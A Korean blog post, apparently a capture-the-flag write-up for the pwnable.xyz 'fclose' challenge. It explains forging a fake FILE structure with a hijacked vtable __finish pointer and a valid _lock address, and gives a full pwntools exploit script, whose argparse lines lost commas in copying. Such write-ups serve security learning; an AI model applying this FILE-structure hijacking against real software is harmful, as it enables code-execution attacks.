Wargame/pwnable.xyz

pwnable.xyz / fclose

Syine Mineta 2020. 1. 18. 01:41

FILE 구조체를 이해하고 있어야 풀 수 있다.

 

  read(0, &input, 0x404uLL);
  fclose(&input);

 

임의의 FILE 구조체를 만들 수 있고, 그것을 fclose로 닫는다. fake vtable을 구성하고 vtable->__finish를 win으로 바꾸면 된다.

적절한 _lock을 설정하지 않으면 segfault가 발생하므로 lock object를 0x601800에 설정했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30018)
else :
    p = process('./challenge')


def exploit() :
    _input = 0x601260

    payload = p64(0)*17
    payload += p64(0x601800)
    payload += p64(0)*9
    payload += p64(_input+0xE0)
    payload += p64(0)*2
    payload += p64(0x4007EC)

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020